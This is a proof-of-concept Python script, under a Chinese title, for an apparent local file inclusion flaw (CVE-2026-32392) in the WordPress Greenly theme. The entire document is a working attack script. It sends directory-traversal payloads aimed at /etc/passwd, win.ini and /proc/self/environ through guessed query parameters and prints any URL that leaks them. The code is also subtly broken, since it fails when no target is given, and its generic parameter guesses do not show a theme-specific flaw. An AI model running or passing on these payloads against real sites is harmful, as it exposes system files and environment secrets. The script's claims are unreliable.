CVE-2026-32392 WordPress Greenly主题本地文件包含漏洞

# CVE-2026-32392 PoC - WordPress Greenly Theme Local File Inclusion # Target: WordPress site using Greenly theme <= 8.1 # Author: Security Researcher import requests import sys TARGET_URL = "http://target-site.com" # Common vulnerable parameter names in WordPress themes VULN_PARAMS = ["file", "page", "template", "theme", "style", "script"] # Files to test for LFI TEST_FILES = [ "../../../../../../etc/passwd", "../../../../../../windows/win.ini", "../../../../../../proc/self/environ" ] def test_lfi(url, param, filename): """Test for Local File Inclusion vulnerability""" full_url = f"{url}/?{param}={filename}" try: response = requests.get(full_url, timeout=10) # Check for file content signatures if "root:" in response.text or ":/bin/" in response.text: print(f"[+] VULNERABLE! Found /etc/passwd via parameter: {param}") print(f"[+] URL: {full_url}") return True elif "[extensions]" in response.text: print(f"[+] VULNERABLE! Found win.ini via parameter: {param}") return True elif "DOCUMENT_ROOT" in response.text or "HTTP_USER_AGENT" in response.text: print(f"[+] VULNERABLE! Found proc/self/environ via parameter: {param}") return True except Exception as e: print(f"[-] Error testing {full_url}: {e}") return False def main(): if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Testing CVE-2026-32392 - Greenly Theme LFI") print(f"[*] Target: {TARGET_URL}") for param in VULN_PARAMS: for test_file in TEST_FILES: if test_lfi(TARGET_URL, param, test_file): print(f"[!] Exploit: {TARGET_URL}/?{param}={test_file}") exit(0) print("[-] No LFI vulnerability detected with basic tests") if __name__ == "__main__": main()